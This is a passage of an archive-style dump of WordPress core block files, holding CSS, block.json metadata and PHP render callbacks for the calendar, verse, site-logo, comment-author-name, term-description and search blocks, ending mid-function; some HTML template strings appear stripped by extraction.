*/ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-calendar { text-align: center; } .wp-block-calendar th, .wp-block-calendar tbody td { padding: 0.25em; border: 1px solid #ddd; } .wp-block-calendar tfoot td { border: none; } .wp-block-calendar table { width: 100%; border-collapse: collapse; } .wp-block-calendar table th { font-weight: 400; background: #ddd; } .wp-block-calendar a { text-decoration: underline; } .wp-block-calendar table tbody, .wp-block-calendar table caption { color: #40464d; }blocks/calendar/block.json000064400000000654147177035020011572 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/calendar", "title": "Calendar", "category": "widgets", "description": "A calendar of your site’s posts.", "keywords": [ "posts", "archive" ], "textdomain": "default", "attributes": { "month": { "type": "integer" }, "year": { "type": "integer" } }, "supports": { "align": true }, "style": "wp-block-calendar" } blocks/calendar/style-rtl.min.css000064400000000631147177035020013033 0ustar00.wp-block-calendar{text-align:center}.wp-block-calendar tbody td,.wp-block-calendar th{padding:.25em;border:1px solid #ddd}.wp-block-calendar tfoot td{border:none}.wp-block-calendar table{width:100%;border-collapse:collapse}.wp-block-calendar table th{font-weight:400;background:#ddd}.wp-block-calendar a{text-decoration:underline}.wp-block-calendar table caption,.wp-block-calendar table tbody{color:#40464d}blocks/calendar/style.css000064400000003635147177035020011461 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-calendar { text-align: center; } .wp-block-calendar th, .wp-block-calendar tbody td { padding: 0.25em; border: 1px solid #ddd; } .wp-block-calendar tfoot td { border: none; } .wp-block-calendar table { width: 100%; border-collapse: collapse; } .wp-block-calendar table th { font-weight: 400; background: #ddd; } .wp-block-calendar a { text-decoration: underline; } .wp-block-calendar table tbody, .wp-block-calendar table caption { color: #40464d; }blocks/verse/style.min.css000064400000000112147177035020011601 0ustar00pre.wp-block-verse{font-family:inherit;overflow:auto;white-space:pre-wrap}blocks/verse/style-rtl.css000064400000003027147177035020011626 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ pre.wp-block-verse { font-family: inherit; overflow: auto; white-space: pre-wrap; }blocks/verse/block.json000064400000002207147177035020011141 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/verse", "title": "Verse", "category": "text", "description": "Insert poetry. Use special spacing formats. Or quote song lyrics.", "keywords": [ "poetry", "poem" ], "textdomain": "default", "attributes": { "content": { "type": "string", "source": "html", "selector": "pre", "default": "", "__unstablePreserveWhiteSpace": true, "__experimentalRole": "content" }, "textAlign": { "type": "string" } }, "supports": { "anchor": true, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "typography": { "fontSize": true, "__experimentalFontFamily": true, "lineHeight": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalLetterSpacing": true, "__experimentalTextTransform": true, "__experimentalDefaultControls": { "fontSize": true, "fontAppearance": true } }, "spacing": { "padding": true } }, "style": "wp-block-verse", "editorStyle": "wp-block-verse-editor" } blocks/verse/style-rtl.min.css000064400000000112147177035020012400 0ustar00pre.wp-block-verse{font-family:inherit;overflow:auto;white-space:pre-wrap}blocks/verse/style.css000064400000003027147177035020011027 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ pre.wp-block-verse { font-family: inherit; overflow: auto; white-space: pre-wrap; }blocks/site-logo/editor-rtl.css000064400000011060147177035020012526 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block[data-align=center] > .wp-block-site-logo, .wp-block-site-logo.aligncenter > div { display: table; margin-right: auto; margin-left: auto; } .wp-block-site-logo a { pointer-events: none; } .wp-block-site-logo .custom-logo-link { cursor: inherit; } .wp-block-site-logo .custom-logo-link:focus { box-shadow: none; } .wp-block-site-logo .custom-logo-link.is-transient img { opacity: 0.3; } .wp-block-site-logo img { display: block; height: auto; max-width: 100%; } .wp-block-site-logo.wp-block-site-logo .components-placeholder, .wp-block-site-logo.wp-block-site-logo .components-resizable-box__container { border-radius: inherit; } .wp-block-site-logo.wp-block-site-logo.is-default-size .components-placeholder { height: 120px; width: 120px; } .wp-block-site-logo.wp-block-site-logo .components-placeholder { display: flex; justify-content: center; align-items: center; box-shadow: none; padding: 0; min-height: 48px; min-width: 48px; height: 100%; width: 100%; color: currentColor; background: transparent; } .wp-block-site-logo.wp-block-site-logo .components-placeholder .components-form-file-upload { display: none; } .wp-block-site-logo.wp-block-site-logo .components-placeholder .components-placeholder__preview { position: absolute; top: 4px; left: 4px; bottom: 4px; right: 4px; background: rgba(255, 255, 255, 0.8); display: flex; align-items: center; justify-content: center; } .wp-block-site-logo.wp-block-site-logo .components-placeholder .components-drop-zone__content-text { display: none; } .wp-block-site-logo.wp-block-site-logo .components-placeholder::before { content: ""; display: block; position: absolute; top: 0; left: 0; bottom: 0; right: 0; border: 1px dashed currentColor; opacity: 0.4; pointer-events: none; border-radius: inherit; } .wp-block-site-logo.wp-block-site-logo .components-placeholder .components-placeholder__fieldset { width: auto; } .wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button { color: inherit; padding: 0; display: flex; justify-content: center; align-items: center; width: 48px; height: 48px; border-radius: 50%; position: relative; visibility: hidden; background: transparent; transition: all 0.1s linear; } @media (prefers-reduced-motion: reduce) { .wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button { transition-duration: 0s; transition-delay: 0s; } } .wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button > svg { color: #fff; } .wp-block-site-logo.wp-block-site-logo .components-placeholder .components-placeholder__illustration { position: absolute; top: 0; left: 0; bottom: 0; right: 0; width: 100%; height: 100%; stroke: currentColor; stroke-dasharray: 3; opacity: 0.4; } .wp-block-site-logo.wp-block-site-logo.is-selected .components-button.components-button { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); border-style: solid; color: #fff; opacity: 1; visibility: visible; }blocks/site-logo/style.min.css000064400000000540147177035020012364 0ustar00.wp-block-site-logo{line-height:0}.wp-block-site-logo a{display:inline-block}.wp-block-site-logo.is-default-size img{width:120px;height:auto}.wp-block-site-logo a,.wp-block-site-logo img{border-radius:inherit}.wp-block-site-logo.aligncenter{margin-left:auto;margin-right:auto;text-align:center}.wp-block-site-logo.is-style-rounded{border-radius:9999px}blocks/site-logo/editor.css000064400000011060147177035020011727 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block[data-align=center] > .wp-block-site-logo, .wp-block-site-logo.aligncenter > div { display: table; margin-left: auto; margin-right: auto; } .wp-block-site-logo a { pointer-events: none; } .wp-block-site-logo .custom-logo-link { cursor: inherit; } .wp-block-site-logo .custom-logo-link:focus { box-shadow: none; } .wp-block-site-logo .custom-logo-link.is-transient img { opacity: 0.3; } .wp-block-site-logo img { display: block; height: auto; max-width: 100%; } .wp-block-site-logo.wp-block-site-logo .components-placeholder, .wp-block-site-logo.wp-block-site-logo .components-resizable-box__container { border-radius: inherit; } .wp-block-site-logo.wp-block-site-logo.is-default-size .components-placeholder { height: 120px; width: 120px; } .wp-block-site-logo.wp-block-site-logo .components-placeholder { display: flex; justify-content: center; align-items: center; box-shadow: none; padding: 0; min-height: 48px; min-width: 48px; height: 100%; width: 100%; color: currentColor; background: transparent; } .wp-block-site-logo.wp-block-site-logo .components-placeholder .components-form-file-upload { display: none; } .wp-block-site-logo.wp-block-site-logo .components-placeholder .components-placeholder__preview { position: absolute; top: 4px; right: 4px; bottom: 4px; left: 4px; background: rgba(255, 255, 255, 0.8); display: flex; align-items: center; justify-content: center; } .wp-block-site-logo.wp-block-site-logo .components-placeholder .components-drop-zone__content-text { display: none; } .wp-block-site-logo.wp-block-site-logo .components-placeholder::before { content: ""; display: block; position: absolute; top: 0; right: 0; bottom: 0; left: 0; border: 1px dashed currentColor; opacity: 0.4; pointer-events: none; border-radius: inherit; } .wp-block-site-logo.wp-block-site-logo .components-placeholder .components-placeholder__fieldset { width: auto; } .wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button { color: inherit; padding: 0; display: flex; justify-content: center; align-items: center; width: 48px; height: 48px; border-radius: 50%; position: relative; visibility: hidden; background: transparent; transition: all 0.1s linear; } @media (prefers-reduced-motion: reduce) { .wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button { transition-duration: 0s; transition-delay: 0s; } } .wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button > svg { color: #fff; } .wp-block-site-logo.wp-block-site-logo .components-placeholder .components-placeholder__illustration { position: absolute; top: 0; right: 0; bottom: 0; left: 0; width: 100%; height: 100%; stroke: currentColor; stroke-dasharray: 3; opacity: 0.4; } .wp-block-site-logo.wp-block-site-logo.is-selected .components-button.components-button { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); border-style: solid; color: #fff; opacity: 1; visibility: visible; }blocks/site-logo/style-rtl.css000064400000003532147177035020012405 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-site-logo { line-height: 0; } .wp-block-site-logo a { display: inline-block; } .wp-block-site-logo.is-default-size img { width: 120px; height: auto; } .wp-block-site-logo a, .wp-block-site-logo img { border-radius: inherit; } .wp-block-site-logo.aligncenter { margin-right: auto; margin-left: auto; text-align: center; } .wp-block-site-logo.is-style-rounded { border-radius: 9999px; }blocks/site-logo/editor.min.css000064400000005301147177035020012512 0ustar00.wp-block-site-logo.aligncenter>div,.wp-block[data-align=center]>.wp-block-site-logo{display:table;margin-left:auto;margin-right:auto}.wp-block-site-logo a{pointer-events:none}.wp-block-site-logo .custom-logo-link{cursor:inherit}.wp-block-site-logo .custom-logo-link:focus{box-shadow:none}.wp-block-site-logo .custom-logo-link.is-transient img{opacity:.3}.wp-block-site-logo img{display:block;height:auto;max-width:100%}.wp-block-site-logo.wp-block-site-logo .components-placeholder,.wp-block-site-logo.wp-block-site-logo .components-resizable-box__container{border-radius:inherit}.wp-block-site-logo.wp-block-site-logo.is-default-size .components-placeholder{height:120px;width:120px}.wp-block-site-logo.wp-block-site-logo .components-placeholder{display:flex;justify-content:center;align-items:center;box-shadow:none;padding:0;min-height:48px;min-width:48px;height:100%;width:100%;color:currentColor;background:transparent}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-form-file-upload{display:none}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-placeholder__preview{position:absolute;top:4px;right:4px;bottom:4px;left:4px;background:hsla(0,0%,100%,.8);display:flex;align-items:center;justify-content:center}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-drop-zone__content-text{display:none}.wp-block-site-logo.wp-block-site-logo .components-placeholder:before{content:"";display:block;position:absolute;top:0;right:0;bottom:0;left:0;border:1px dashed;opacity:.4;pointer-events:none;border-radius:inherit}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-placeholder__fieldset{width:auto}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button{color:inherit;padding:0;display:flex;justify-content:center;align-items:center;width:48px;height:48px;border-radius:50%;position:relative;visibility:hidden;background:transparent;transition:all .1s linear}@media (prefers-reduced-motion:reduce){.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button{transition-duration:0s;transition-delay:0s}}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button>svg{color:#fff}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-placeholder__illustration{position:absolute;top:0;right:0;bottom:0;left:0;width:100%;height:100%;stroke:currentColor;stroke-dasharray:3;opacity:.4}.wp-block-site-logo.wp-block-site-logo.is-selected .components-button.components-button{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color);border-style:solid;color:#fff;opacity:1;visibility:visible}blocks/site-logo/block.json000064400000002403147177035020011715 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/site-logo", "title": "Site Logo", "category": "theme", "description": "Display a graphic to represent this site. Update the block, and the changes apply everywhere it’s used. This is different than the site icon, which is the smaller image visible in your dashboard, browser tabs, etc used to help others recognize this site.", "textdomain": "default", "attributes": { "width": { "type": "number" }, "isLink": { "type": "boolean", "default": true }, "linkTarget": { "type": "string", "default": "_self" }, "shouldSyncIcon": { "type": "boolean" } }, "example": { "viewportWidth": 500, "attributes": { "width": 350, "className": "block-editor-block-types-list__site-logo-example" } }, "supports": { "html": false, "align": true, "alignWide": false, "color": { "__experimentalDuotone": "img, .components-placeholder__illustration, .components-placeholder::before", "text": false, "background": false } }, "styles": [ { "name": "default", "label": "Default", "isDefault": true }, { "name": "rounded", "label": "Rounded" } ], "editorStyle": "wp-block-site-logo-editor", "style": "wp-block-site-logo" } blocks/site-logo/style-rtl.min.css000064400000000540147177035020013163 0ustar00.wp-block-site-logo{line-height:0}.wp-block-site-logo a{display:inline-block}.wp-block-site-logo.is-default-size img{width:120px;height:auto}.wp-block-site-logo a,.wp-block-site-logo img{border-radius:inherit}.wp-block-site-logo.aligncenter{margin-right:auto;margin-left:auto;text-align:center}.wp-block-site-logo.is-style-rounded{border-radius:9999px}blocks/site-logo/editor-rtl.min.css000064400000005301147177035020013311 0ustar00.wp-block-site-logo.aligncenter>div,.wp-block[data-align=center]>.wp-block-site-logo{display:table;margin-right:auto;margin-left:auto}.wp-block-site-logo a{pointer-events:none}.wp-block-site-logo .custom-logo-link{cursor:inherit}.wp-block-site-logo .custom-logo-link:focus{box-shadow:none}.wp-block-site-logo .custom-logo-link.is-transient img{opacity:.3}.wp-block-site-logo img{display:block;height:auto;max-width:100%}.wp-block-site-logo.wp-block-site-logo .components-placeholder,.wp-block-site-logo.wp-block-site-logo .components-resizable-box__container{border-radius:inherit}.wp-block-site-logo.wp-block-site-logo.is-default-size .components-placeholder{height:120px;width:120px}.wp-block-site-logo.wp-block-site-logo .components-placeholder{display:flex;justify-content:center;align-items:center;box-shadow:none;padding:0;min-height:48px;min-width:48px;height:100%;width:100%;color:currentColor;background:transparent}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-form-file-upload{display:none}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-placeholder__preview{position:absolute;top:4px;left:4px;bottom:4px;right:4px;background:hsla(0,0%,100%,.8);display:flex;align-items:center;justify-content:center}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-drop-zone__content-text{display:none}.wp-block-site-logo.wp-block-site-logo .components-placeholder:before{content:"";display:block;position:absolute;top:0;left:0;bottom:0;right:0;border:1px dashed;opacity:.4;pointer-events:none;border-radius:inherit}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-placeholder__fieldset{width:auto}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button{color:inherit;padding:0;display:flex;justify-content:center;align-items:center;width:48px;height:48px;border-radius:50%;position:relative;visibility:hidden;background:transparent;transition:all .1s linear}@media (prefers-reduced-motion:reduce){.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button{transition-duration:0s;transition-delay:0s}}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button>svg{color:#fff}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-placeholder__illustration{position:absolute;top:0;left:0;bottom:0;right:0;width:100%;height:100%;stroke:currentColor;stroke-dasharray:3;opacity:.4}.wp-block-site-logo.wp-block-site-logo.is-selected .components-button.components-button{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color);border-style:solid;color:#fff;opacity:1;visibility:visible}blocks/site-logo/style.css000064400000003532147177035020011606 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-site-logo { line-height: 0; } .wp-block-site-logo a { display: inline-block; } .wp-block-site-logo.is-default-size img { width: 120px; height: auto; } .wp-block-site-logo a, .wp-block-site-logo img { border-radius: inherit; } .wp-block-site-logo.aligncenter { margin-left: auto; margin-right: auto; text-align: center; } .wp-block-site-logo.is-style-rounded { border-radius: 9999px; }blocks/comment-author-name.php000064400000003624147177035020012425 0ustar00context['commentId'] ) ) { return ''; } $comment = get_comment( $block->context['commentId'] ); $commenter = wp_get_current_commenter(); $show_pending_links = isset( $commenter['comment_author'] ) && $commenter['comment_author']; if ( empty( $comment ) ) { return ''; } $classes = ''; if ( isset( $attributes['textAlign'] ) ) { $classes .= 'has-text-align-' . $attributes['textAlign']; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classes ) ); $comment_author = get_comment_author( $comment ); $link = get_comment_author_url( $comment ); if ( ! empty( $attributes['isLink'] ) && ! empty( $attributes['linkTarget'] ) ) { $comment_author = sprintf( '%3s', esc_url( $link ), esc_attr( $attributes['linkTarget'] ), $comment_author ); } if ( '0' === $comment->comment_approved && ! $show_pending_links ) { $comment_author = wp_kses( $comment_author, array() ); } return sprintf( '
    %2$s
    ', $wrapper_attributes, $comment_author ); } /** * Registers the `core/comment-author-name` block on the server. */ function register_block_core_comment_author_name() { register_block_type_from_metadata( __DIR__ . '/comment-author-name', array( 'render_callback' => 'render_block_core_comment_author_name', ) ); } add_action( 'init', 'register_block_core_comment_author_name' ); blocks/term-description.php000064400000002224147177035020012030 0ustar00 'has-text-align-' . $attributes['textAlign'] ) : array(); $wrapper_attributes = get_block_wrapper_attributes( $extra_attributes ); return '
    ' . $term_description . '
    '; } /** * Registers the `core/term-description` block on the server. */ function register_block_core_term_description() { register_block_type_from_metadata( __DIR__ . '/term-description', array( 'render_callback' => 'render_block_core_term_description', ) ); } add_action( 'init', 'register_block_core_term_description' ); blocks/search.php000064400000031371147177035020010012 0ustar00`. Support these by defaulting an undefined label and // buttonText to `__( 'Search' )`. $attributes = wp_parse_args( $attributes, array( 'label' => __( 'Search' ), 'buttonText' => __( 'Search' ), ) ); $input_id = 'wp-block-search__input-' . ++$instance_id; $classnames = classnames_for_block_core_search( $attributes ); $show_label = ( ! empty( $attributes['showLabel'] ) ) ? true : false; $use_icon_button = ( ! empty( $attributes['buttonUseIcon'] ) ) ? true : false; $show_input = ( ! empty( $attributes['buttonPosition'] ) && 'button-only' === $attributes['buttonPosition'] ) ? false : true; $show_button = ( ! empty( $attributes['buttonPosition'] ) && 'no-button' === $attributes['buttonPosition'] ) ? false : true; $input_markup = ''; $button_markup = ''; $inline_styles = styles_for_block_core_search( $attributes ); $color_classes = get_color_classes_for_block_core_search( $attributes ); $is_button_inside = ! empty( $attributes['buttonPosition'] ) && 'button-inside' === $attributes['buttonPosition']; // Border color classes need to be applied to the elements that have a border color. $border_color_classes = get_border_color_classes_for_block_core_search( $attributes ); $label_inner_html = empty( $attributes['label'] ) ? __( 'Search' ) : wp_kses_post( $attributes['label'] ); $label_markup = sprintf( '', esc_attr( $input_id ), $label_inner_html ); if ( $show_label && ! empty( $attributes['label'] ) ) { $label_markup = sprintf( '', $input_id, $label_inner_html ); } if ( $show_input ) { $input_classes = ! $is_button_inside ? $border_color_classes : ''; $input_markup = sprintf( '', $input_id, esc_attr( $input_classes ), esc_attr( get_search_query() ), esc_attr( $attributes['placeholder'] ), $inline_styles['input'] ); } if ( $show_button ) { $button_internal_markup = ''; $button_classes = $color_classes; $aria_label = ''; if ( ! $is_button_inside ) { $button_classes .= ' ' . $border_color_classes; } if ( ! $use_icon_button ) { if ( ! empty( $attributes['buttonText'] ) ) { $button_internal_markup = wp_kses_post( $attributes['buttonText'] ); } } else { $aria_label = sprintf( 'aria-label="%s"', esc_attr( wp_strip_all_tags( $attributes['buttonText'] ) ) ); $button_classes .= ' has-icon'; $button_internal_markup = ' '; } $button_markup = sprintf( '', esc_attr( $button_classes ), $inline_styles['button'], $aria_label, $button_internal_markup ); } $field_markup_classes = $is_button_inside ? $border_color_classes : ''; $field_markup = sprintf( '
    %s
    ', esc_attr( $field_markup_classes ), $inline_styles['wrapper'], $input_markup . $button_markup ); $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classnames ) ); return sprintf( '
    %s
    ', esc_url( home_url( '/' ) ), $wrapper_attributes, $label_markup . $field_markup ); } /** * Registers the `core/search` block on the server. */ function register_block_core_search() { register_block_type_from_metadata( __DIR__ . '/search', array( 'render_callback' => 'render_block_core_search', ) ); } add_action( 'init', 'register_block_core_search' ); /** * Builds the correct top level classnames for the 'core/search' block. * * @param array $attributes The block attributes. * * @return string The classnames used in the block. */ function classnames_for_block_core_search( $attributes ) { $classnames = array(); if ( ! empty( $attributes['buttonPosition'] ) ) { if ( 'button-inside' === $attributes['buttonPosition'] ) { $classnames[] = 'wp-block-search__button-inside'; } if ( 'button-outside' === $attributes['buttonPosition'] ) { $classnames[] = 'wp-block-search__button-outside'; } if ( 'no-button' === $attributes['buttonPosition'] ) { $classnames[] = 'wp-block-search__no-button'; } if ( 'button-only' === $attributes['buttonPosition'] ) { $classnames[] = 'wp-block-search__button-only'; } } if ( isset( $attributes['buttonUseIcon'] ) ) { if ( ! empty( $attributes['buttonPosition'] ) && 'no-button' !== $attributes['buttonPosition'] ) { if ( $attributes['buttonUseIcon'] ) { $classnames[] = 'wp-block-search__icon-button'; } else { $classnames[] = 'wp-block-search__text-button'; } } } return implode( ' ', $classnames ); } /** * Builds an array of inline styles for the search block. * * The result will contain one entry for shared styles such as those for the * inner input or button and a second for the inner wrapper should the block * be positioning the button "inside". * * @param array $attributes The block attributes. * * @return array Style HTML attribute. */ function styles_for_block_core_search( $attributes ) { $wrapper_styles = array(); $button_styles = array(); $input_styles = array(); $is_button_inside = ! empty( $attributes['buttonPosition'] ) && 'button-inside' === $attributes['buttonPosition']; // Add width styles. $has_width = ! empty( $attributes['width'] ) && ! empty( $attributes['widthUnit'] ); $button_only = ! empty( $attributes['buttonPosition'] ) && 'button-only' === $attributes['buttonPosition']; if ( $has_width && ! $button_only ) { $wrapper_styles[] = sprintf( 'width: %d%s;', esc_attr( 